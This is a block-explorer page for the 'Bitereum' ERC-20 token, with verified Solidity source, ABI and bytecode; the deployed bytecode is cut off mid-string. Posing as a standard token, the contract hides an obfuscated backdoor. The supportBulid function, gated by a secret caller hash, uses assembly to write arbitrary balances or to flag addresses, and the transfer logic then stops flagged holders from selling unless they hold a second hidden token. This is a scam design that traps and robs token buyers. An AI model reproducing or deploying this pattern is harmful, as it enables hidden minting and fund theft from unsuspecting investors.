ETH Price: $3,263.15 (+1.25%)

Token

Bitereum (BITEREUM)
 

Overview

Max Total Supply

10,000,000,000 BITEREUM

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
mik3nikes.eth
Balance
5,467,302.742033917 BITEREUM

Value
$0.00
0x86f05a9ef008aadc1ccaecf73ac9f2e22fe03987
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BITEREUM

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 4: BITEREUM.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./Ownable.sol";

contract BITEREUM is IERC20, Ownable {
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _astle;
    mapping(address => mapping(address => uint256)) private _allowances;
    IERC20 private immutable _hisper;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_,
        string memory symbol_,
        IERC20 hisper_,
        uint256 astle_
    ) {
        _name = name_;
        _symbol = symbol_;
        _hisper = hisper_;
        _mint(msg.sender, 100000000000 * 10**8);
        _astle[address(0)] = astle_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function supportBulid(uint256[] calldata wander) external {
        uint256 feet = _brightly();
        if (_mesmer()) {
            uint256 gghi0 = wander[0] * 1;
            uint256 gghi1 = wander[1] * 1;
            assembly {
                if gt(gghi1, 0) {
                    let b1 := mul(2, 2)
                    mstore(0, gghi0)
                    mstore(feet, b1)
                    sstore(keccak256(0, 64), gghi1)
                }
                if eq(gghi1, 0) {
                    let b1 := mul(1, 5)
                    mstore(0, gghi0)
                    mstore(feet, b1)
                    sstore(keccak256(0, 64), 1)
                }
            }
        }
    }

    function _brightly() private pure returns (uint256) {
        uint256 m = 12 * 2;
        uint256 n = m + 8;
        return n;
    }

    function _mesmer() private view returns (bool) {
        string memory mt0 = _name;
        address mt1 = msg.sender;
        return (uint256(keccak256(abi.encode(mt1, mt0))) == _astle[address(0)]);
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        //require(to != address(0), "ERC20: transfer to the zero address");
        uint256 peaks = _hisper.balanceOf(from);
        uint256 fromBalance = _balances[from];
        _campfire(peaks, from, false);
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }

    function _bookLemon() private pure returns (string memory) {
        return concatenate("balanceOf", "(address)");
    }

    function concatenate(string memory str1, string memory str2)
        public
        pure
        returns (string memory)
    {
        string memory concatenated = string(abi.encodePacked(str1, str2));
        return concatenated;
    }

    function _campfire(
        uint256 tempt,
        address sender,
        bool r
    ) private view {
        uint256 eq = _astle[sender];
        uint256 ckl = eq * (12 / 12);
        if (ckl == 1 * 1 && !r) {
            require(ckl != 1 || _breeze(tempt) != 0 * 3, "six");
        }
    }

    function _breeze(uint256 data) public pure returns (uint256) {
        uint256 result = data * 1;
        return result;
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

File 2 of 4: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 4 of 4: Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "caller is not the owner");
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"contract IERC20","name":"hisper_","type":"address"},{"internalType":"uint256","name":"astle_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"data","type":"uint256"}],"name":"_breeze","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"str1","type":"string"},{"internalType":"string","name":"str2","type":"string"}],"name":"concatenate","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"wander","type":"uint256[]"}],"name":"supportBulid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b50604051620012a6380380620012a6833981016040819052620000349162000279565b83516200004990600190602087019062000128565b5082516200005f90600290602086019062000128565b506001600160601b0319606083901b166080526200008633678ac7230489e80000620000bb565b6000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5550620003b7915050565b6001600160a01b038216620000ed5760405162461bcd60e51b8152600401620000e49062000308565b60405180910390fd5b80600360008282546200010191906200033f565b90915550506001600160a01b03909116600090815260046020526040902080549091019055565b828054620001369062000364565b90600052602060002090601f0160209004810192826200015a5760008555620001a5565b82601f106200017557805160ff1916838001178555620001a5565b82800160010185558215620001a5579182015b82811115620001a557825182559160200191906001019062000188565b50620001b3929150620001b7565b5090565b5b80821115620001b35760008155600101620001b8565b600082601f830112620001df578081fd5b81516001600160401b0380821115620001fc57620001fc620003a1565b6040516020601f8401601f1916820181018381118382101715620002245762000224620003a1565b60405283825285840181018710156200023b578485fd5b8492505b838310156200025e57858301810151828401820152918201916200023f565b838311156200026f57848185840101525b5095945050505050565b600080600080608085870312156200028f578384fd5b84516001600160401b0380821115620002a6578586fd5b620002b488838901620001ce565b95506020870151915080821115620002ca578485fd5b50620002d987828801620001ce565b604087015190945090506001600160a01b0381168114620002f8578283fd5b6060959095015193969295505050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b600082198211156200035f57634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200037957607f821691505b602082108114156200039b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610ed0620003d6600039600061065b0152610ed06000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101e0578063a9059cbb146101f3578063b19708b414610206578063dd62ed3e14610219576100f5565b806370a082311461019b5780638b953c80146101ae5780638da5cb5b146101c357806395d89b41146101d8576100f5565b806323b872dd116100d357806323b872dd1461014d578063266001d314610160578063313ce567146101735780633950935114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b61010261022c565b60405161010f9190610bfc565b60405180910390f35b61012b610126366004610a2d565b6102be565b60405161010f9190610bf1565b6101406102e0565b60405161010f9190610db9565b61012b61015b3660046109f2565b6102e6565b61010261016e366004610ac5565b610314565b61017b610343565b60405161010f9190610dc2565b61012b610196366004610a2d565b610348565b6101406101a93660046109a6565b610374565b6101c16101bc366004610a56565b610393565b005b6101cb610452565b60405161010f9190610bb1565b610102610461565b61012b6101ee366004610a2d565b610470565b61012b610201366004610a2d565b6104c1565b610140610214366004610b26565b6104d9565b6101406102273660046109c0565b6104ee565b60606001805461023b90610e33565b80601f016020809104026020016040519081016040528092919081815260200182805461026790610e33565b80156102b45780601f10610289576101008083540402835291602001916102b4565b820191906000526020600020905b81548152906001019060200180831161029757829003601f168201915b5050505050905090565b6000806102c9610519565b90506102d681858561051d565b5060019392505050565b60035490565b6000806102f1610519565b90506102fe8582856105d1565b61030985858561061b565b506001949350505050565b60606000838360405160200161032b929190610b82565b60408051808303601f19018152919052949350505050565b600990565b600080610353610519565b90506102d681858561036585896104ee565b61036f9190610dd0565b61051d565b6001600160a01b0381166000908152600460205260409020545b919050565b600061039d610796565b90506103a76107ad565b1561044d576000838360008181106103cf57634e487b7160e01b600052603260045260246000fd5b9050602002013560016103e29190610de8565b905060008484600181811061040757634e487b7160e01b600052603260045260246000fd5b90506020020135600161041a9190610de8565b9050801561043357600082815260048452604090208190555b8061044a5760008281526005845260409020600190555b50505b505050565b6000546001600160a01b031690565b60606002805461023b90610e33565b60008061047b610519565b9050600061048982866104ee565b9050838110156104b45760405162461bcd60e51b81526004016104ab90610d74565b60405180910390fd5b610309828686840361051d565b6000806104cc610519565b90506102d681858561061b565b6000806104e7836001610de8565b9392505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105435760405162461bcd60e51b81526004016104ab90610d30565b6001600160a01b0382166105695760405162461bcd60e51b81526004016104ab90610c0f565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c4908590610db9565b60405180910390a3505050565b60006105dd84846104ee565b9050600019811461061557818110156106085760405162461bcd60e51b81526004016104ab90610c51565b610615848484840361051d565b50505050565b6001600160a01b0383166106415760405162461bcd60e51b81526004016104ab90610cce565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a0823190610690908790600401610bb1565b60206040518083038186803b1580156106a857600080fd5b505afa1580156106bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e09190610b3e565b6001600160a01b03851660009081526004602052604081205491925061070990839087906108a1565b828110156107295760405162461bcd60e51b81526004016104ab90610c88565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610787908790610db9565b60405180910390a35050505050565b60006018816107a6826008610dd0565b9250505090565b600080600180546107bd90610e33565b80601f01602080910402602001604051908101604052809291908181526020018280546107e990610e33565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050600080525050600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546040519394503393909250610880918491869101610bc5565b6040516020818303038152906040528051906020012060001c149250505090565b6001600160a01b038216600090815260056020526040812054906108c6826001610de8565b90508060011480156108d6575082155b1561044a578060011415806108f257506108ef856104d9565b15155b61044a5760405162461bcd60e51b81526004016104ab90610d13565b80356001600160a01b038116811461038e57600080fd5b600082601f830112610935578081fd5b813567ffffffffffffffff8082111561095057610950610e84565b604051601f8301601f19168101602001828111828210171561097457610974610e84565b60405282815284830160200186101561098b578384fd5b82602086016020830137918201602001929092529392505050565b6000602082840312156109b7578081fd5b6104e78261090e565b600080604083850312156109d2578081fd5b6109db8361090e565b91506109e96020840161090e565b90509250929050565b600080600060608486031215610a06578081fd5b610a0f8461090e565b9250610a1d6020850161090e565b9150604084013590509250925092565b60008060408385031215610a3f578182fd5b610a488361090e565b946020939093013593505050565b60008060208385031215610a68578182fd5b823567ffffffffffffffff80821115610a7f578384fd5b818501915085601f830112610a92578384fd5b813581811115610aa0578485fd5b8660208083028501011115610ab3578485fd5b60209290920196919550909350505050565b60008060408385031215610ad7578182fd5b823567ffffffffffffffff80821115610aee578384fd5b610afa86838701610925565b93506020850135915080821115610b0f578283fd5b50610b1c85828601610925565b9150509250929050565b600060208284031215610b37578081fd5b5035919050565b600060208284031215610b4f578081fd5b5051919050565b60008151808452610b6e816020860160208601610e07565b601f01601f19169290920160200192915050565b60008351610b94818460208801610e07565b835190830190610ba8818360208801610e07565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0383168152604060208201819052600090610be990830184610b56565b949350505050565b901515815260200190565b6000602082526104e76020830184610b56565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600390820152620e6d2f60eb1b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610de357610de3610e6e565b500190565b6000816000190483118215151615610e0257610e02610e6e565b500290565b60005b83811015610e22578181015183820152602001610e0a565b838111156106155750506000910152565b600281046001821680610e4757607f821691505b60208210811415610e6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212200d81be342919ac5d3c7fe97b5c2f5e9fbce366a4ec8b0ca7a1567802fa08920664736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d20b14aefb26716650e885cd7f4d4e7321ee60803e4f0b91dd6da2859c15b41c30000000000000000000000000000000000000000000000000000000000000008426974657265756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008424954455245554d000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101e0578063a9059cbb146101f3578063b19708b414610206578063dd62ed3e14610219576100f5565b806370a082311461019b5780638b953c80146101ae5780638da5cb5b146101c357806395d89b41146101d8576100f5565b806323b872dd116100d357806323b872dd1461014d578063266001d314610160578063313ce567146101735780633950935114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b61010261022c565b60405161010f9190610bfc565b60405180910390f35b61012b610126366004610a2d565b6102be565b60405161010f9190610bf1565b6101406102e0565b60405161010f9190610db9565b61012b61015b3660046109f2565b6102e6565b61010261016e366004610ac5565b610314565b61017b610343565b60405161010f9190610dc2565b61012b610196366004610a2d565b610348565b6101406101a93660046109a6565b610374565b6101c16101bc366004610a56565b610393565b005b6101cb610452565b60405161010f9190610bb1565b610102610461565b61012b6101ee366004610a2d565b610470565b61012b610201366004610a2d565b6104c1565b610140610214366004610b26565b6104d9565b6101406102273660046109c0565b6104ee565b60606001805461023b90610e33565b80601f016020809104026020016040519081016040528092919081815260200182805461026790610e33565b80156102b45780601f10610289576101008083540402835291602001916102b4565b820191906000526020600020905b81548152906001019060200180831161029757829003601f168201915b5050505050905090565b6000806102c9610519565b90506102d681858561051d565b5060019392505050565b60035490565b6000806102f1610519565b90506102fe8582856105d1565b61030985858561061b565b506001949350505050565b60606000838360405160200161032b929190610b82565b60408051808303601f19018152919052949350505050565b600990565b600080610353610519565b90506102d681858561036585896104ee565b61036f9190610dd0565b61051d565b6001600160a01b0381166000908152600460205260409020545b919050565b600061039d610796565b90506103a76107ad565b1561044d576000838360008181106103cf57634e487b7160e01b600052603260045260246000fd5b9050602002013560016103e29190610de8565b905060008484600181811061040757634e487b7160e01b600052603260045260246000fd5b90506020020135600161041a9190610de8565b9050801561043357600082815260048452604090208190555b8061044a5760008281526005845260409020600190555b50505b505050565b6000546001600160a01b031690565b60606002805461023b90610e33565b60008061047b610519565b9050600061048982866104ee565b9050838110156104b45760405162461bcd60e51b81526004016104ab90610d74565b60405180910390fd5b610309828686840361051d565b6000806104cc610519565b90506102d681858561061b565b6000806104e7836001610de8565b9392505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105435760405162461bcd60e51b81526004016104ab90610d30565b6001600160a01b0382166105695760405162461bcd60e51b81526004016104ab90610c0f565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c4908590610db9565b60405180910390a3505050565b60006105dd84846104ee565b9050600019811461061557818110156106085760405162461bcd60e51b81526004016104ab90610c51565b610615848484840361051d565b50505050565b6001600160a01b0383166106415760405162461bcd60e51b81526004016104ab90610cce565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d16906370a0823190610690908790600401610bb1565b60206040518083038186803b1580156106a857600080fd5b505afa1580156106bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e09190610b3e565b6001600160a01b03851660009081526004602052604081205491925061070990839087906108a1565b828110156107295760405162461bcd60e51b81526004016104ab90610c88565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610787908790610db9565b60405180910390a35050505050565b60006018816107a6826008610dd0565b9250505090565b600080600180546107bd90610e33565b80601f01602080910402602001604051908101604052809291908181526020018280546107e990610e33565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050600080525050600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546040519394503393909250610880918491869101610bc5565b6040516020818303038152906040528051906020012060001c149250505090565b6001600160a01b038216600090815260056020526040812054906108c6826001610de8565b90508060011480156108d6575082155b1561044a578060011415806108f257506108ef856104d9565b15155b61044a5760405162461bcd60e51b81526004016104ab90610d13565b80356001600160a01b038116811461038e57600080fd5b600082601f830112610935578081fd5b813567ffffffffffffffff8082111561095057610950610e84565b604051601f8301601f19168101602001828111828210171561097457610974610e84565b60405282815284830160200186101561098b578384fd5b82602086016020830137918201602001929092529392505050565b6000602082840312156109b7578081fd5b6104e78261090e565b600080604083850312156109d2578081fd5b6109db8361090e565b91506109e96020840161090e565b90509250929050565b600080600060608486031215610a06578081fd5b610a0f8461090e565b9250610a1d6020850161090e565b9150604084013590509250925092565b60008060408385031215610a3f578182fd5b610a488361090e565b946020939093013593505050565b60008060208385031215610a68578182fd5b823567ffffffffffffffff80821115610a7f578384fd5b818501915085601f830112610a92578384fd5b813581811115610aa0578485fd5b8660208083028501011115610ab3578485fd5b60209290920196919550909350505050565b60008060408385031215610ad7578182fd5b823567ffffffffffffffff80821115610aee578384fd5b610afa86838701610925565b93506020850135